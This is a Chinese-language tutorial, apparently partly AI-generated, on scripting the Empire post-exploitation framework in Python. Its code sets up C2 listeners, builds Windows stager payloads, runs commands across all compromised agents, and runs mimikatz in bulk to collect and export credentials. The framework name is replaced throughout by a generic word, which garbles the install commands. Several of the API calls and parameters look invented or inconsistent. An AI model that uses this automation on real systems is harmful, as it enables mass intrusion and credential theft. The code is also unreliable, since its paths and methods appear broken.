框架API调用实例:Python脚本与框架交互的编程指南

框架API调用实例:Python脚本与框架交互的编程指南

【免费下载链接】Empire EmpireProject/Empire: Empire 是一个开源的Post-Exploitation框架,主要用于渗透测试后的操作阶段,通过模块化的设计实现远程命令执行、持久化连接、凭证收集等多种恶意活动,用于评估和提升网络安全防御能力。 【免费下载链接】Empire 项目地址: https://gitcode.com/gh_mirrors/em/Empire

引言:为什么需要框架API?

你是否在渗透测试中遇到过需要自动化操作框架的场景?手动输入命令效率低下,重复性工作占用大量时间?本文将通过Python脚本与框架交互的实例,帮助你实现后渗透阶段的自动化操作,提升工作效率。读完本文后,你将能够编写Python脚本与框架进行交互,实现远程命令执行、会话管理等功能。

框架基本结构

框架是一个开源的Post-Exploitation框架,主要用于渗透测试后的操作阶段。其核心结构包括以下几个部分:

  • Listeners(监听器):负责接收来自受控主机的连接
  • Agents(代理):在目标主机上运行的代理程序,用于执行命令和回传结果
  • Modules(模块):实现各种后渗透功能的模块集合
  • Stagers(载荷生成器):生成用于在目标主机上植入代理的载荷

核心代码结构如下:

准备工作:安装与配置

安装框架

首先,通过以下命令克隆仓库并安装:

git clone https://gitcode.com/gh_mirrors/em/框架
cd 框架
sudo ./setup/install.sh

启动框架服务

安装完成后,启动框架服务:

./框架

框架API基础

框架本身没有提供正式的REST API,但我们可以通过以下两种方式与框架交互:

  1. 命令行接口:通过Python的subprocess模块调用框架命令行
  2. 内部API:直接调用框架的内部Python API

本文将重点介绍第二种方式,直接调用内部API实现与框架的交互。

Python脚本与框架交互实例

1. 初始化框架

首先,我们需要在Python脚本中初始化框架的主控制器:

from lib.common.框架 import MainMenu
import sys

# 创建框架主菜单实例
framework = MainMenu(args=sys.argv[1:])

# 初始化数据库连接
framework.database_connect()

# 加载监听器、代理和模块
framework.agents = agents.Agents(framework)
framework.listeners = listeners.Listeners(framework)
framework.modules = modules.Modules(framework)

2. 创建监听器

以下代码演示如何创建一个HTTP监听器:

# 定义监听器参数
listener_params = {
    'Name': 'http_listener',
    'Type': 'http',
    'Port': 8080,
    'Host': '192.168.1.100'
}

# 创建监听器
framework.listeners.create_listener(listener_params)

# 启动监听器
framework.listeners.start_listener('http_listener')

# 检查监听器状态
active_listeners = framework.listeners.activeListeners
print(f"活跃监听器: {active_listeners}")

3. 生成Stager载荷

使用以下代码生成一个Windows可执行文件载荷:

# 设置Stager参数
stager_params = {
    'Listener': 'http_listener',
    'OutFile': '/tmp/框架_stager.exe',
    'Language': 'powershell',
    'Stager': 'windows/launcher_bat'
}

# 生成Stager
framework.stagers.generate_stager(stager_params)

print(f"Stager已生成: {stager_params['OutFile']}")

4. 管理代理会话

以下代码演示如何列出所有活跃代理并与指定代理交互:

# 获取所有活跃代理
agents = framework.agents.get_agents_db()
print(f"活跃代理数量: {len(agents)}")

# 列出代理信息
for agent in agents:
    print(f"代理名称: {agent['name']}, 主机名: {agent['hostname']}, IP: {agent['external_ip']}")

# 与第一个代理交互
if agents:
    agent_name = agents[0]['name']
    
    # 执行命令
    task_id = framework.agents.task_agent(agent_name, 'whoami')
    
    # 获取命令结果
    results = framework.agents.get_task_results(agent_name, task_id)
    print(f"命令结果: {results}")

5. 使用模块

以下代码演示如何使用凭证收集模块:

# 搜索凭证收集模块
cred_modules = framework.modules.search_modules('credentials')
print(f"找到凭证模块: {len(cred_modules)}")

# 使用mimikatz模块
framework.modules.do_usemodule('credentials/invoke_mimikatz')

# 设置模块参数
framework.modules.set_module_option('Agent', agent_name)

# 执行模块
framework.modules.execute_module()

# 获取模块输出
output = framework.modules.get_module_output()
print(f"模块输出: {output}")

实际应用场景

场景一:批量执行命令

以下脚本实现对所有活跃代理批量执行命令:

def batch_execute_command(command):
    """对所有活跃代理执行命令"""
    agents = framework.agents.get_agents_db()
    results = {}
    
    for agent in agents:
        agent_name = agent['name']
        print(f"在代理 {agent_name} 上执行命令: {command}")
        
        # 执行命令
        task_id = framework.agents.task_agent(agent_name, command)
        
        # 等待结果
        time.sleep(5)
        
        # 获取结果
        result = framework.agents.get_task_results(agent_name, task_id)
        results[agent_name] = result
    
    return results

# 批量执行命令
command_results = batch_execute_command('systeminfo')

# 打印结果
for agent, result in command_results.items():
    print(f"\n===== {agent} =====")
    print(result)

场景二:自动凭证收集与导出

import json

def collect_credentials():
    """从所有代理收集凭证并导出"""
    agents = framework.agents.get_agents_db()
    
    for agent in agents:
        agent_name = agent['name']
        print(f"在代理 {agent_name} 上收集凭证")
        
        # 使用mimikatz模块
        framework.modules.do_usemodule('credentials/invoke_mimikatz')
        framework.modules.set_module_option('Agent', agent_name)
        framework.modules.execute_module()
        
        # 等待模块执行完成
        time.sleep(10)
    
    # 导出所有凭证
    credentials = framework.credentials.get_credentials()
    with open('credentials.json', 'w') as f:
        json.dump(credentials, f, indent=4)
    
    print(f"已导出 {len(credentials)} 条凭证到 credentials.json")

# 收集并导出凭证
collect_credentials()

注意事项与最佳实践

安全性考虑

  1. 加密通信:始终使用HTTPS监听器,避免敏感信息在传输过程中被拦截
  2. 权限控制:限制API访问权限,仅授权人员可使用自动化脚本
  3. 审计日志:记录所有API调用,便于事后审计和溯源

错误处理

在实际应用中,需要添加完善的错误处理机制:

try:
    # 创建监听器
    framework.listeners.create_listener(listener_params)
except Exception as e:
    print(f"创建监听器失败: {str(e)}")
    # 尝试清理
    if 'http_listener' in [l[1] for l in framework.listeners.activeListeners]:
        framework.listeners.stop_listener('http_listener')

性能优化

  1. 异步操作:对于大量代理,使用异步方式执行命令
  2. 结果缓存:缓存模块执行结果,避免重复执行
  3. 批量处理:对类似操作进行批量处理,减少框架交互次数

总结与展望

通过本文介绍的方法,你可以使用Python脚本与框架进行交互,实现后渗透阶段的自动化操作。这种方式不仅可以提高工作效率,还可以实现更复杂的后渗透工作流。

未来,你可以进一步探索:

  1. 构建Web界面管理框架
  2. 实现基于机器学习的异常行为检测
  3. 开发自定义模块扩展框架功能

希望本文对你有所帮助,祝你在渗透测试工作中取得更好的成果!

参考资料

【免费下载链接】Empire EmpireProject/Empire: Empire 是一个开源的Post-Exploitation框架,主要用于渗透测试后的操作阶段,通过模块化的设计实现远程命令执行、持久化连接、凭证收集等多种恶意活动,用于评估和提升网络安全防御能力。 【免费下载链接】Empire 项目地址: https://gitcode.com/gh_mirrors/em/Empire

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值